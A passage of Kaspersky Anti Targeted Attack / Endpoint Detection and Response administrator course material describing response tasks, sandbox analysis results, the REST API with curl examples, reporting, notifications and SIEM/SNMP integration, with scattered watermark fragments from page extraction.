If an analyst finds a suspicious file during an investigation, it makes sense to check it using the central
d
node technologies. The results of analyzing a file on the sandbox server may be particularly informative.
e
The Get file task serves this purpose. It has the same parameters as the Delete file and Quarantine file
tasks, with two differences:
pi
— The Send for scanning checkbox permits loading a file from a computer and scanning it
immediately. If you clear this checkbox, the file will only be copied to the storage, and you will be
able to scan it later.
co
— A Get file task always applies to the specified computer only.
The Get file task does nothing to the file on the computer. If the analyst has strong reasons to expect that
the file may be dangerous, it is better to use the Quarantine file task. If further analysis adds confidence,
you can create a Delete file task and distribute it to all computers throughout the network.
be
t to
No
185
Administration
Quarantine a file
ed
ut
ibr
st
di
re
or
It may be premature to delete all detected malicious files. One copy of each unique file should be
d
quarantined so that you can analyze its code and behavior to better understand potential damage and
find additional indicators of the attack: addresses of command and control servers, names and
e
checksums of additional modules and the techniques that attackers employ.
The Quarantine file task serves this purpose; it places the target file into a special protected storage on
pi
the computer. You will be able to send such a file to the central node for analysis or save it to the
analyst's computer. If analysis shows that the file is not malicious, you will be able to recover it.
co
be
t to
No
186
Administration
ed
ut
ib
r
st
di
re
or
A special task Restore file from quarantine serves this purpose. You can configure it on the Tasks
page.
You can see which files are locally quarantined on endpoints in Storage | Quarantine. A security
d
specialist can remotely perform the following operations on quarantined files:

— Delete — permanently delete the file.
e
— Restore — restore the file to its original location.

— Get file — download the file from the computer to the central node storage for scanning by the
pi
central node’s technologies.
Operations are performed when the endpoint agent synchronizes with the central node, every 5 minutes
co
by default. The results of an operation will be delivered during the next synchronization.
be
t to
No
187
Administration
Delete a file
ed
ut
r ib
st
di
re
or
When investigating an incident, an analyst can find malicious executable files and service files associated
d
with them on computers. It makes sense to quarantine one copy of each malicious file for further
investigation. All other copies should be deleted from all computers. You can also delete non-executable
e
files related to the attack. For example, files with registry dumps that attackers could have saved to
extract passwords.
pi
The Delete file task perfectly suits this purpose. It has almost the same parameters as a Kill process
task:
— Path to file is the main parameter of a task, you cannot create one without it. You can specify
co
only full file path; environment variables and wildcards are not supported.
— MD5/SHA256 is an optional parameter that helps identify a malicious process that masquerades
as a legitimate process of the same name.
— Description — arbitrary explanatory text.
be
— Scope — all or selected computers.

In a distributed installation, you can also select all computers of a particular central node or all
computers of all company's central nodes.
You can create a Delete file task, like other tasks, from an event in Threat hunting: using the toolbar
to
above the event card or from the menu that opens when you click a file name in the event description.
t
No
188
Administration
Get forensics
ed
ut
r ib
st
di
re
or
You can get lists of files, processes and autorun points from the selected Kaspersky Endpoint Agent for
d
Windows hosts. The ‘Get forensics’ task serves this purpose.

e
Information type defines data that will be collected. Select one, several or all checkboxes:
— Processes list, if you want to retrieve the list of processes running on the host at the moment
pi
when the task will run.

— Autorun points list. The list of autorun points includes data about programs added to the startup
folder or specified in the Run registry keys, as well as about programs that run automatically
co
when the host with Kaspersky Endpoint Agent boots or when a user logs on.
— File list, if you want to get the list of files stored in a specific folder or on the entire host at the
time of task running.
be
t to
No
189
Administration
Service management
ed
ut
ibr
st
di
re
or
You can perform some actions on services:

d
— Start,
— Stop,
e
— Pause,
— Resume,
pi
— Delete,
— Modify startup type.
co
be
t to
No
190
Administration
Running a program remotely
ed
ut
ib
r
st
di
re
or
If the described tasks are insufficient for a full-fledged incident response, Kaspersky Endpoint Detection
d
and Response additionally provides the Run program task that permits you to remotely carry out any
command or start any program on a computer.
e
To execute a command, specify:

pi
— The executable file to run on the computer. The file must be located on the target machine. The
task does not permit selecting a file on your computer, copying it to the target computer and
running it there.
co
— Command line parameters (optional).

— Working folder where the command will be executed (optional).
The Run program task can be started on all computers together or on the selected computers.
be
When a Run program task is performed, the agent sends the return code and standard output streams
and errors to the central node. All of this is shown separately for each computer on the task card. For
example, to consult contents of the standard output stream, click the Standard output link. It will open in
a new tab.
t to
No
191
Administration
Scanning computers for IOC
ed
ut
ibr
st
di
re
or
First of all, before you scan hosts for indicators of compromise (IOC), go to Custom rules | IOC and set
d
Autoscan to Enabled for each IOC that you want to find.

e
The scan schedule is configured in Settings | Endpoint Agents | IOC scanning schedule.
Scanning area: all computers (agents).

pi
Start time is specified for the UTC+0 zone.

co
Scanning scope: the entire computer.

be
t to
No
192
Administration
Scanning computers against YARA rules
ed
ut
ibr
st
di
re
or
To scan computers against YARA rules, go to Custom rules | YARA, select the necessary rules and
d
click Start YARA Scan. In the pane that opens, you will be able to add other rules to the task, edit the
scan scope, specify exclusions, limit the execution time and draw up the list of target computers.
e
You can also create a task to scan computers against YARA rules from the Tasks page: click Add and
select Start YARA Scan.
pi
co
be
t to
No
193
Administration
Get process memory dump/system memory dump
ed
ut
ib
r
st
di
re
or
To get a process memory dump or a system memory dump, go to the Tasks page, click Add and select
d
Get data | Memory dump or Process memory dump.

e
For a Process memory dump task, specify the following:
— Process ID (required parameter);

pi
— MD5/SHA256;
— Description;
— Host (the target computer).
co
For a Memory dump task, specify the following:
— Share path (the network folder where to save the dump);

— User name of an account that has access to the network folder;
— Password of the account that has access to the network folder;
be
— Description;
You can work with the received dumps using third-party tools, for example, WinDbg or Volatility
Framework.
t to
No
194
Administration
Get disk image
ed
ut
ib
r
st
di
re
or
To get a disk image, go to Tasks, click Add and select Get data | Disc image.
d
In the task properties, specify the following:

e
— Share path (the network folder where to save the disk image);
— User name of an account that has access to the network folder;
pi
— Password of the account that has access to the network folder;

— Disk type;
— Volume;
— Description;
co
You can open the received disk image using third-party tools, for example, OSFMount.
be
t to
No
195
Administration
Get registry key
ed
ut
ibr
st
di
re
or
To get a registry key, go to Tasks, click Add and select Get data | Registry Key.
d

e
— Registry Key;
— Description;
pi

co
be
t to
No
196
Administration
Get NTFS metafiles
ed
ut
ibr
st
di
re
or
To get NTFS metafiles, go to Tasks, click Add and select Get data | NTFS metafiles.
d

e
— Metafiles,
— Volume,
pi
— Description,
co
be
t to
No
197
Administration
Task results
ed
ut
r ib
st
di
re
or
All tasks that security personnel have created are displayed in the Tasks section. You can see tasks
created from alert and event cards here, and you can create a task of any type except Kill unique
d
process. (But you can create a Kill process task.)
All tasks are single-use in Kaspersky EDR Expert. They don't have a schedule and cannot be re-run
e
manually. If you need to repeat an operation, there is the Duplicate button in the task properties that
creates a new task and copies settings into it. You will be able to adjust the settings before running the
pi
task.
As tasks are one-time, the task list also acts as a task log. The list shows the tasks that specialists
co
created and run. However, the task list is not a reliable audit tool, because you can delete tasks from it.
Click a task to open its results. Errors are typically displayed as Windows return codes 21. Here are some
of the codes that may appear in the task results:
— 3 — The system cannot find the path specified.
— 5 — Access is denied.
be
— 123 — The filename, directory name, or volume label syntax is incorrect.

— 1168 — Element not found.
File storage and scanning results

to
If an analyst runs a Get file task with the Send for scanning checkbox selected during an investigation,
the results will be shown in the Tasks section, in the card of the Get file task. In the task properties, you
will see the results of scanning the file by all technologies. If a threat is detected in a file, it will be added
to the list of alerts.
t
No
21 https://docs.microsoft.com/en-us/windows/win32/debug/system-error-codes
198
Administration
Full scan results are always displayed, even if threats have not been detected. In particular, if a file was
ed
scanned in the sandbox, an analyst will have all details about the file running within the virtual machines.
Even if automatic analysis does not reveal anything, an experienced virus analyst will be able to identify
suspicious actions in the file running report.
ut
You can also see the scanning results in Storage | Files. All files requested using Get file tasks are
stored here, and if an analyst scanned a file, the results are also displayed in the file card.
You can scan any files manually, not only those requested from an endpoint using the Get file task. To
ib
do so, click the Upload button in the upper-right corner of the Storage | Files page. The files uploaded
this way will be scanned, but alerts will not be generated for them.
On the Storage | Files page, security personnel can perform the following actions with files:
r
— Save a file to a senior security officer's computer;
st
— Rescan;
— Delete.
di
To retrieve a file quarantined locally on a network computer, go to the Storage | Quarantine page.
Response specifics in a distributed installation
re
Distributed mode assumes that security personnel mainly work with the primary central node console.
This console consolidates data from all secondary central nodes.
or
Lists of alerts, computers, tasks, execution prevention rules and other objects are replicated between the
databases of primary and secondary central nodes. As a result, they are shown in the primary central
node console even if connection with the secondary central node is temporarily lost.
Databases with telemetry from endpoint agents are large and it makes no sense to replicate them.
d
Instead, the primary central node requests telemetry from secondary central nodes in real time. The
results are sent back within the same connection.
e
You can grant security personnel access to individual web consoles of secondary central nodes in their
account settings. This will allow them, for example, perform response activities if the primary central node
pi
is inaccessible.
Searching for events in the distributed mode

co
The databases of telemetry events are not replicated between central nodes in a distributed installation.
Data about activities that arrive from endpoint agents are stored in the TAA database of the central node
to which they are connected.
be
A security specialist can search telemetry databases for events of all endpoints of the selected company
using the primary central node web console. The primary central node sends queries to port 8444 of
secondary central nodes and thus receives results from them. If connection to a secondary central node
is lost when the search is performed, its data will be inaccessible.
Some alert details are also loaded from secondary central nodes in real time via requests to port 8444.
to
Endpoint agents
The list of endpoint agents in the primary central node console shows the computers connected to all
t
central nodes of the company (or all companies, if it is a service provider). A senior security officer can
No
apply all EDR tools to them, including ‘Isolate from network’, provided the primary central node has
connection to the secondary central node to which the computer is connected.
199
Administration
Storage
ed
The storage of the primary central node shows objects from all central nodes of the selected company.
Senior security officers can save objects to their computers regardless of the central node which the
endpoint agent that locally stores an object is connected to.
ut
Tasks, execution prevention rules, detection rules
ib
In a distributed installation, there can be senior security officer accounts that have access to the web
console of a particular secondary central node within the company. They can create response tasks and
execution prevention rules in the secondary central node's console. These tasks and settings are local
and only apply to the central node in whose console they have been created.
r
st
At the same time, a senior security officer can create company-wide tasks and rules in the primary central
node's console. These rules and tasks are global and apply to all central nodes of the company.
The primary central node console shows global and local tasks and rules and indicates which secondary
di
central node they belong to. The primary central node console permits disabling or modifying only global
rules. Local rules can only be disabled in the local console of their secondary central node.
re
A secondary central node console displays its local tasks and rules, as well as global tasks and rules
created for the company in the primary central node console. You can disable or change only local rules
here. Global rules are provided for informational purposes only.
or
e d
pi
co
be
t to
No
200
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 6. Sandbox analysis results
Administration
6. Sandbox analysis results
ed
ut
6.1 Sandbox alert card
ib
r
st
di
re
or
e d
pi
If a threat was detected by a sandbox server, the Scan results section of the alert will list all threats that
the sandbox detected in the file. There is the Sandbox detect button below the list of threat names
detected by scanning technologies, which opens a more detailed description of the results. The detailed
description shows on which virtual machines the file was scanned and which dangerous actions were
co
detected.
Most of the objects are processed on several types of virtual machines. If the sandbox detects nothing, no
data is displayed in the web interface. If the sandbox detects a malicious object or suspicious behavior,
you can click the Sandbox detect button to open a card with additional sandbox analysis results:
be
— Information about the object (file name, file size, md5, digital signature);
— Names of the detected threats;
— Scanning timestamp and version of the Scanner and IDS components’ databases that were used
when analyzing logs and artifacts of object execution in the virtual environments.
to
Below, object processing results are given for each of the virtual machines used for scanning:
— Dangerous activity log;
— A graph of dangerous activity that shows relationships between dangerous activities and the
source object;
— Network activity logs (HTTP, DNS and IDS);
t
— Complete log of file behavior in the operating system.

No
201
Administration
6.2 Results of analysis in a virtual environment
ed
ut
ib
r
st
di
re
or
The Activity list displays suspicious actions detected during the file execution. Each activity has an
d
importance level indicated by the icon on the left. Classification according to MITRE ATT&CK is also
provided for most actions.
e
The dangerous activity log includes brief descriptions, such as:

pi
— Self-extracting archive run silently;

— Process created several files in the system32 folder;
— Process created a service;
—
co
Process created an autorun point;

— Process searched for files, etc.
File activity is represented as a tree. The leftmost event is the file start on the virtual machine. All
subsequent file actions are also shown in the tree: started child processes, created and started files, child
processes’ activity. Dangerous operations are classified according to MITRE ATT&CK.
be
Then there are three network activity logs that overlap to some extent, but highlight different aspects of
network activity.
HTTP activity log shows HTTP requests from the virtual machine. The URL, server IP address and
request type (GET, POST, etc.) are shown for each request.
to
IP addresses and URLs are interactive: click them to search for related events and alerts or go to
Kaspersky Threat Intelligence Portal, where you can find geographical information about the server's
address or name.
t
Search for related alerts opens a new tab with a filtered list of alerts. Search for related events pertains to
No
Kaspersky Endpoint Detection and Response functionality. It also opens a new tab with auto-defined
search options. The analyst can edit the conditions to expand or narrow the search.
202
Administration
The URL context search looks for the entire URL and does not necessarily find connections to another
ed
page of the same server or connections to another malicious server with the same request. When
analyzing threats, search for the URL and if nothing is found, change the search parameters: leave only
the server name or only a part of the URL.
ut
ib
r
st
di
re
or
d
IDS activity log partly repeats HTTP activity log, but provides relative URLs without the server name;
e
contextual search can yield different results in this case than the search for the full URL.
pi
The IDS activity log also includes the Source IP, but it is the IP address of the virtual machine on an
isolated service network on the sandbox server, which is not particularly interesting.
The DNS activity log shows successful attempts to resolve a remote host name.
co
All network logs may include legitimate activities of the virtual machine’s operating system.
be
t to
No
203
Administration
6.3 Sandbox debug information
ed
ut
ibr
st
di
re
or
There is a Download full log button in a sandbox scan results card below each virtual machine’ logs.
This log has the JSON format and lists all operations performed on the virtual machine during the
analysis. This log can help the analyst reproduce the complete sequence of actions that preceded
d
explicitly malicious activity.

e
pi
co
be
t to
No
204
Administration
If the interpreted results of scanning a file on the sandbox server, which are displayed in the web
ed
interface, are insufficient for the security personnel to understand what was going on and make a decision
about the incident, they can consult the Debug info. Debug information also includes all logs and artifacts
received when monitoring the file’s activity in the virtual environment.
ut
Debug info is a password-protected zip archive that contains a set of artifacts collected as a result of
scanning the files in the sandbox. To unpack the archive, use the password infected. The folder is named
after the file’s md5 hash.
ib
Within the archive, you will find:
— task0, task1, task2 and task3 folders that contain scan results after running the file on different
virtual machines and in different modes. A file is not always run on all types of virtual machines
r
and the archive may contain less than four folders; sometimes, there is only the task0 folder.
st
— multitask_result.json — formatted results of scanning the file on all virtual machines.
— meta is a file with the link (if a link was scanned).
— sandbox_config.json — sandbox configuration: on which virtual machines to run a sample, how
di
to run it (as an executable file, script, document, or a link to be opened in a browser), how long to
scan and in which mode (full logging or quick scan).
re
or
e d
pi
co
be
If you open any of taskX folders, it will contain the following data:
— execution_log — a brief execution log in JSON format.
— internal_tracing_report — a ZIP archive with system artifacts (screenshots, DLL libraries, created
files, etc.)
to
— pcap — network traffic dump.

— pcap_postproc_report — a ZIP archive with network artifacts (network communications log, files
downloaded via http).
— goats.json participates in detecting malicious activity.
t
Unpack the internal_tracing_report archive to find the list of files extracted from virtual machines. These
No
files may include new files saved to the drive, virtual machine’s screenshots, memory dumps and
contents of memory buffers.
205
Administration
Files are anonymized and represented by running numbers. To check which objects they are, consult the
ed
files.list file. The second column contains the file name; the third, its original name; and the first one, file
type:
— DROP — files that appeared in the process of sample execution (extracted from itself,
transformed from other objects, or downloaded from the internet).
ut
— DUMP — a tar archive with the process memory dump (the archive is named after the process).
— BUFFER — a tar archive with the process memory buffer dump.
— OTHER — a screenshot of a virtual machine in the PNG format.
rib
st
di
re
or
e d
pi
Unpack the pcap_postproc_report archive to find a detailed log of the file’s network activity. report.xml
represents information about network connections. The result folder contains files downloaded from the
co
internet. The files are depersonalized and numbered. Search the report.xml log for the name (number) of
a depersonalized file to find the original file name and URL from which it was downloaded.
be
t to
No
206
KL 025.5: Kaspersky Anti Targeted Attack. Kaspersky Endpoint Detection and Response. 7. KATA platform maintenance
Administration
7. KATA platform maintenance
ed
ut
7.1 VIP status
ibr
st
di
re
or
e d
pi
VIP group comes in handy if it is undesired to show non-senior security personnel details of alerts related
to top managers or some departments. Even email message subjects may contain information that
requires special access permissions.
co
You can also use the VIP status simply to highlight important alerts. These alerts are displayed in a
separate widget on the Dashboard, and there is a special indicator for them in the statistics above the list
of alerts.
A senior security officer configures conditions for assigning the VIP status in the Settings | VIP status.
be
Conditions can be configured based on the following attributes:

— IP address;
— Hostname;
— The recipient’s email address.
t to
No
207
Administration
ed
ut
rib
st
di
re
or
A VIP alert is marked with a star . Only senior security officers are allowed to monitor them. Other
security personnel will see these alerts in the list, but will not be able to view their details.
A senior security officer, in addition to the ability to see all details of a VIP alert, can manually assign and
d
remove the VIP status. Only a senior security officer can mark a VIP alert as processed.
e
pi
co
be
t to
No
208
Administration
7.2 Scanning password-protected archives
ed
ut
rib
st
di
re
or
Kaspersky Anti Targeted Attack and Kaspersky Endpoint Detection and Response can scan password-
d
protected archives and documents. The anti-malware module of the central node scans password-
protected archives. A password-protected document with a list of possible passwords is sent to the
e
sandbox, which specifies the passwords when opening the document in the appropriate editor.
If a protected object is attached to a message, the analyzing module tries to substitute the message text
pi
fragments for the password.
Additionally, senior security officers can draw up a list of passwords that will be tried on all protected
co
objects, not only those emailed. Trying passwords from a long dictionary requires significant
computational recourses; for this reason, you can add only 50 passwords to the list.
50 passwords are too few to cover any significant part of typical passwords that you can find on the
internet. The main purpose of this list is not to detect threats in files downloaded from the internet.
be
The main use case for this list is to check documents in internal document workflow systems. In
organizations, especially in financial institutions like banks, homeware is often used for workflows and
document protection. Also, these systems are often based on outdated methods. A modified email
system can be used for exchange; and password-protected archives, for protection. Passwords are
changed in a regular and centralized manner in such a system. Security personnel can add these
to
passwords to the central node settings to be able to detect malicious documents spreading within the
organization.
t
No
209
Administration
7.3 External API
ed
Use cases
ut
Kaspersky Anti Targeted Attack and Kaspersky Endpoint Detection and Response provide the capability
to send objects for scanning (by all technologies, including sandbox) to central node via REST API. You
can also use KEDR threat response functionality in this manner.
ib
The main use case for this capability is to scan objects that KATA cannot extract from traffic for some
reason. In organizations with high security requirements, protected document workflow systems are used,
some of which are developed in-house. These organizations can implement their own ‘sensor’ that will
r
send files to the central node similarly to Kaspersky Secure Mail Gateway or Kaspersky Web Traffic
st
Security.
Another integration option is to implement response to threats detected by a third-party system through
KEDR.
di
REST API supports several operation types in KATA/KEDR:
—
re
Scanning objects sent by third-party systems;
— Sending alerts to third-party systems;
— Managing response actions.
API client authorization

or
e d
pi
co
be
To be able to send files via REST API, connect the computer that will do it as an external system to the
central node. You will need:
— The identifier of the external sensor in UUID format. Any UUID will do, for example, from the
to
https://uuidgenerator.net website
— A pair of encryption keys (public and private) for authentication and protecting transferred files. A
pair of 2048-bit RSA keys, which you can create, for example, using the following commands:
openssl genrsa -out server.key 2048

t
No
openssl rsa -in server.key -out server.key
openssl req -sha256 -new -key server.key -out server.csr -subj

'/CN=localhost'
210
Administration
ed
openssl x509 -req -sha256 -days 365 -in server.csr -signkey server.key
-out server.crt
cat server.crt server.key > cert.pem
ut
With an identifier and a pair of encryption keys, you can send a connection request to the central node.
There is no special command for a connection request in the API of Kaspersky Anti Targeted Attack. Any
API command sent from a new address becomes a request.
ibr
st
di
re
or
e d
pi
The simplest command that you can send is a scan result request. It is the HTTP GET command sent to
a special URL with the central node address:
co
https://<central node
address>:443/kata/scanner/v1/sensors/<UUID>/scans/state
Where UUID is the ID that you generated for your external sensor.
be
You can manually send such a request using the curl utility:
curl –X GET https://<IP>:443/kata/scanner/v1/sensors/<UUID>/scans/state

-k --cert cert.pem --key server.key
to
where cert.pem and server.key are the prepared certificate and private key of the external sensor.
The expected response to the first command sent is 401 Unauthorized. A connection request will appear
in the central node administrator's console on the External systems page. Make sure the IP address,
UUID and certificate fingerprint in the request are the same as those used in the REST API command. If
t
everything coincides, accept the request.

No
The default name template for external systems is System <ID>. The administrator can rename external
systems.
211
Administration
API use examples
ed
ut
ibr
st
di
re
or
Let's look at some examples of using API.

e d
pi
co
be
t to
No
Also, remember that requests can be sent not only via the standard Curl utility, but also using any other
means, for example, Postman, which may be more convenient at the testing stage.
212
Administration
Scanning files and processing results
ed
To send a file scan task to the central node, use the HTTP POST method, URL https://<central node
address>:443/kata/scanner/v1/sensors/<UUID>/scans and the following parameters:
— scanId — task identifier. It can be a number or a string. What is important is that it must differ
ut
from identifiers of previously sent tasks;
— objectType — file;
— content — with curl, use the @<file path> format for file contents.
ib
You can manually send such a request using the curl utility:
r
curl --cert <path to the TLS certificate file> --key <path to the
private key file> -X POST "<URL of the server with the Central Node
st
component>:<port, 443 by default>/kata/scanner/v1/sensors/<sensorID>
/scans?sensorInstanceId=<sensor instance ID>" -F "content=<path to the
file you want to scan>" -F ScanId=<id of the scan request> -F
di
"ObjectType=file"
The expected answer to a correctly written command: OK.
re
Sent files are scanned by all technologies available on the central node. If a threat is detected in a file, the
central node generates an alert with the source EXTERNAL <external system name>.
If an organization uses API to send documents from their internal workflow system, it is important not only
or
to detect dangerous files, but also to automatically delete them from the system.
An external system can receive scan results by using the HTTP GET method with the following address:
https://<central node address>:443/kata/scanner/v1/sensors/<UUID>/scans/state

d
An example with the curl utility:

e
private key file> -X GET<URL of the server with the Central Node
pi
component>:<port, 443 by default>/kata/scanner/v1/sensors/<sensor ID>

/scans/state?sensorInstanceId=<sensor instance ID>&state=<one or more
scanning statuses that you want to display in the scan results>”
co
An answer to such a request will be the list of 'scanId, state’ pairs in json format.
It is the third-party system that is to process the results. It is also supposed to delete tasks whose results
have been processed by sending the DELETE command to
be
https://<central node address>:443/kata/scanner/v1/sensors/<UUID>/scans/<scanId>
An example with the Curl utility:
to
private key file> -X DELETE "<URL of the server with the Central Node
/scans/<Scan ID>"
The expected response is: OK

t
No
213
Administration
Getting alert details
ed
Requesting the scan results by task ID returns only a binary result. This is enough for processing the file
on the side of the system that sent it.
ut
If you need extended information about detections, it is available via the REST command detects (use
the curl utility, for example):
ib
private key file> -X GET "<URL of the server with the Central Node
/detects?detect_type=<one or more detection technologies>&limit=<number
of detections in the response>&token=<request id>"
r
st
The central node returns all alerts in response to such a request, including those processed, from the
oldest to the newest, but no more than 1000. The response contains all alerts’ attributes in json format,
including, for example, information about file scanning on sandbox virtual machines (without the debug
archive).
di
1000 alerts, mainly oldest and already processed, is most likely not what you would like to see when
sending a request. That is why the detects command supports additional filtering parameters:
re
— detect_type allows filtering by detection technology and takes the following values: am, sb, ids,
url_reputation, yara; you can specify several technologies separated by commas.
— limit allows you to request a limited number of alerts, from 0 to 10000 (1000 by default if the limit
is not explicitly set).
or
The token parameter of the detects command helps request new alerts. It is slightly more complicated
than the described filters.
Any response to the detects command includes the token parameter with some value. If you repeat the
d
query and specify the token from the previous response, the new response will contain only new alerts
that were not included in the response with the token value specified in the request.
e
If the new response contains alerts, the token value will change, and you will be able to use it in the next
pi
query to get yet newer alerts.
How to receive list of Kaspersky Endpoint Agent hosts

co
You may need to obtain a list of Kaspersky Endpoint Agent hosts to be able to respond to threats. To
request information about hosts that run Kaspersky Endpoint Agent, use the HTTP GET method:
curl -X GET https://<central node>/kata/response_api/v1/<UUID>/sensors

be
Upon successful request processing, the list of hosts with Kaspersky Endpoint Agent will be displayed.
You can also request information about hosts with the specified parameters: IP address, name or ID. You
can specify one, several or all parameters:
— sensor_id — unique identifier of the Kaspersky Endpoint Agent host;
to
— ip — IP address of the Kaspersky Endpoint Agent host;

— Host — name of the Kaspersky Endpoint Agent host.
An example with the curl utility:

t
curl -k --noproxy '*' --cert ./cert.pem --key ./server.key -X GET

No
"https://<KATA_IP>:443/kata/response_api/v1/<UUID>/sensors?ip=<ENDPOINT
_IP>"
214
Administration
Network isolation request
ed
After we have received the list of hosts with KEA, we may need to perform some action on the target host
to respond to a threat. For example, isolate it from the network.
ut
To create such a request, use the HTTP POST method; the request body contains JSON formatted
commands.
Command syntax in the example with the curl utility:
ib
CURL -k --<path to the TLS certificate file> --key <path to the private
key file> -X POST "<URL address of the server with the Central Node
component>:<port, 443 by default>/kata/response_api/v1
r
/<external_system_id>/settings?sensor_id=<sensor_id>&settings_type=
st
network_isolation" -H 'Content-Type: application/json' -d '
{
"settings": {
"autoTurnoffTimeoutInSec": <network isolation time>}
di
}
'
re
Expected success response code: 200 Operation completed successfully.
7.4 Reports
or
Report templates
e d
pi
co
be
t to
No
The central node web console permits configuring and creating custom reports. The general principle:
first configure a template and then you will be able to create a report to this template.
215
Administration
Templates are created in the Reports section on the Templates tab. After installation, there are no
ed
templates. Security personnel are supposed to create them manually.
When you create a template, an editor opens, which permits adding arbitrary static text to the template,
as well as static images and dynamic tables and charts that will be generated based on the alerts’ data.
ut
In the table settings, you can select which alert attributes to display and also configure a filter with
parameters such as alert status, importance, VIP status and the technology that detected the threat.
ib
In the chart settings, you can select only its type. All charts show alerts distribution by a particular
parameter: importance, source, technology. Chart contents don't depend on the table contents. A chart
shows the distribution of all alerts over the selected period. The period is not configured in a template;
you select it when generating the report.
r
st
Generating reports to templates
di
re
or
e d
pi
co
After you have created a template, you can generate reports for various time periods. However, you must
be
understand that alerts are not stored in the database forever and as new alerts arrive, old ones get
deleted from the database. If the stream of new alerts is very intensive, effective alert storage time can be
about a month or even less.
You can save created reports in HTML format.

t to
No
216
Administration
7.5 Email notifications
ed
Alert notifications
ut
ib
r
st
di
re
or
e d
To configure notifications about alerts, switch to Settings | Notifications in the web interface of a senior
security officer and add a rule. Specify the following:
pi
— Recipients’ email addresses (notifications about detected threats may contain personal data,
therefore, notifications are recommended to be sent to employees allowed to access this
information);
— Message subject (you can add the %importance% macro to include the alert importance);
co
— Minimum importance of the alert to notify of (low, medium or high);

— IP address or subnet of source or destination (optional);
— Email sender or recipient (optional);
— Detection technologies (all or some of the following: Anti-Malware Engine, Sandbox, Yara, URL
Reputation, Intrusion Detection System, Targeted Attack Analyzer, IOC).
be
t to
No
217
Administration
Notifications about components’ operation
ed
ut
ibr
st
di
re
or
To configure notifications about components’ malfunctioning, go to Settings | Notifications in the central

node administrator web interface and create a new notification rule.
d
In the program operation notification settings, specify the addressees, subject and components about
e
which you want to notify personnel.

pi
Mail server parameters

co
be
t to
No
218
Administration
The central node can email notifications about detected threats and server components’ malfunctioning.
ed
Notifications are disabled by default.
A senior security officer configures the recipients of alert notifications. An administrator configures the
recipients of error notifications and the mail server connection settings for all notifications.
ut
To specify how to send, open the web console of the central node administrator and go to Settings |
Notification | Mail configuration. Specify:
— Mail server address (IP or name);
ib
— SMTP port;
— Sender’s email address;
— Authentication username and password;
r
— Whether to use TLS to encrypt the connection.
st
The Validate TLS encryption checkbox allows you to connect to the mail server with the specified
settings and download its certificate. When sending notifications, the central node will check if the mail
server’s certificate matches the downloaded copy.
di
7.6 Integration with SIEM
re
The central node of Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response can
send information about detected threats and status (heartbeat) events to an external Security Information
or
and Event Management (SIEM) system using Syslog.
Initial connection
e d
pi
co
be
t to
To enable event transfer to SIEM:

No
1. Log on to the central node web console as an administrator.

2. Open the Settings | SIEM Settings section.
219
Administration
3. Choose which data to forward to SIEM (Activity log and/or Alerts).
ed
4. Specify the address, protocol and port for connecting to the SIEM server in the Host/IP,
Protocol and Port fields.
5. Specify an arbitrary identifier in the Host ID field to be able to quicker find KATA/KEDR events in
ut
the SIEM console.
6. Specify the frequency of sending Heartbeat messages to SIEM. The default value is 10 minutes.
7. Optional: Upload the TLS certificate if authentication of event sources is required in SIEM.
ib
After that, the central node will send all new alerts in Common Event Format to the SIEM server.
In addition to alerts, central node sends information about the status of server components to SIEM.
r
Information about endpoint agents’ status is not sent. By default, the status information is sent every 10
st
minutes. You can adjust this value in the Heartbeat field.
Events in SIEM
di
Information about each detected threat is transferred as an individual syslog message in CEF format. If it
is the Targeted Attack Analyzer module that detects a threat, information about it is sent in several
re
separate syslog messages in CEF format.
The maximum size of a syslog message about an alert is 32 KB by default. Messages that exceed the
limit are truncated.
or
Header of each syslog message about an alert contains the following information:
— Format version. Current version number: 0. Current field value: CEF:0.
— Manufacturer. Current field value: AO Kaspersky Lab.
— Application name. Current field value: Kaspersky Anti Targeted Attack Platform.
— Application version. Current field value: 5.0.0-5201.
d
— Detection type. See the online documentation for details.

— Name of the event. See the online documentation for details.
e
— Alert importance. Acceptable field values: Low, Medium, High or 0 (for heartbeat messages).
— Additional information.
pi
Heartbeat events have a simple structure. First, general information:
CEF fields Value

co
Version 0
Device Vendor AO Kaspersky Lab
Device Product Kaspersky Anti Targeted Attack Platform
be
Device Version 5.0.0-5201

Signature ID heartbeat
Name Heartbeat message
to
Severity 0
Extension Message details in the “key=value” format
t
No
220
Administration
Some keys are described in the CEF standard:
ed
Key Description Sample
dvc Device IPv4 Address 10.28.0.55
ut
rt Receipt Time Nov 19 2018 18:10:03
Vendors can describe their keys. In particular, heartbeat events use the following keys:
ib
Key Value
Name of the component that has the specified number.
r
Names have the following format: <component
st
type>_<server address>, for example, ids_127.0.0.1
KasperskyLabKATAcomponentName stands for the IDS component on the central node from
which the message arrived. Component types are: ksn,
bases, snort, avEngine, quarantine, sandbox, taa,
di
riskScore
Status of the component that has the specified
number. It can have the following values: 0 if
re
KasperskyLabKATAcomponentState everything is OK, or non-zero if the component
malfunctions
Events contain all alert attributes: partially in standard CEF fields, partially in custom fields if the CEF
or
format does not provide the necessary attribute.
7.7 Server monitoring using SNMP

e d
pi
co
be
t to
No
221
Administration
You can send data about the load on the CPU and RAM of central nodes and sensors to external
ed
systems that support SNMP.
To configure SNMP in the central node interface:

1. Go to Settings | General settings.
ut
2. In the SNMP settings area, set the Use SNMP switch to Enabled.
3. Choose the Protocol version: v2c or v3.
4. Specify additional integration parameters.
ib
If you have selected protocol version v2c, in the Community string field, specify the password that will
be used for connecting to Kaspersky Anti Targeted Attack Platform.
r
If you have selected v3, do the following:
st
1. In the Authentication protocol field, select one of the following options for verifying validity and
integrity of data transmitted to the external system:
— MD5
di
— SHA256
2. In the User name box, specify the account to be used for authentication.
3. In the Password field, type its password.
re
4. In the Privacy protocol field, select one of the following encryption types:
— DES
— AES
or
5. In the Password field, specify the encryption password.
To configure SNMP in the sensor interface, enter the abovementioned parameters in System
administration | SNMPd monitoring settings.
e d
7.8 Collecting system information

pi
Logs
co
For troubleshooting, you can check system logs and/or run a script that collects diagnostic data in
Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response.
To view system logs, switch to Technical support mode and use the operating system tools to analyze the
logs. The logs of Kaspersky Anti Targeted Attack/Kaspersky Endpoint Detection and Response modules
be
are located in the folder /var/log/kaspersky/. Each server stores its own logs.
For example, installation logs are located in /var/log/kaspersky/installation:

— install.log,
— post-install/log,
to
— per-install.log.
t
No
222
Administration
Gathering information for technical support
ed
ut
ib
r
st
di
re
or
To start the script that collects diagnostic data on a central node or sensor, open its text management
